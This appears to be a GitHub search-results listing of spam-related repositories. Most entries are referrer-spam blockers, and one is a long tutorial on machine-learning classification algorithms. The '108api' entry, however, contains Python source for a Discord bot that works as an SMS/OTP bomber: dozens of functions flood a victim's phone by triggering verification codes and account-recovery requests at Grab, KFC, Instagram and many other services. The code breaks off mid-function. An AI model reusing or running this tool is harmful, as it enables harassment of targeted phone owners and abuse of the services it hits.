22 skills found
mitchellkrogza / Nginx Ultimate Bad Bot BlockerNginx Block Bad Bots, Spam Referrer Blocker, Vulnerability Scanners, User-Agents, Malware, Adware, Ransomware, Malicious Sites, with anti-DDOS, Wordpress Theme Detector Blocking and Fail2Ban Jail for Repeat Offenders
mitchellkrogza / Apache Ultimate Bad Bot BlockerApache Block Bad Bots, (Referer) Spam Referrer Blocker, Vulnerability Scanners, Malware, Adware, Ransomware, Malicious Sites, Wordpress Theme Detectors and Fail2Ban Jail for Repeat Offenders
matomo-org / Referrer Spam ListCommunity-contributed list of referrer spammers. Comment +1 in any issue or Pull request and the spammer will be added to the list!
Stevie-Ray / Referrer Spam BlockerApache, Nginx, IIS, uWSGI, Varnish, HAProxy & Lighttpd blacklist + Google Analytics segments to prevent referrer spam traffic 🤖
sayantann11 / All Classification Templetes For MLClassification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'
hongaar / Semalt Blocker:no_entry: Self-updating PHP library which blocks referral spam from ruining your website statistics
mitchellkrogza / Stop.Google.Analytics.Ghost.Spam.HOWTOHow to stop Google Analytics "Ghost" Spam using a well curated list of spam referrer domains and web sites. Simple and easy to use with instructions for creating Segments in Google Analytics using our google-exclude files.
Godbyhub / 108apiimport os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 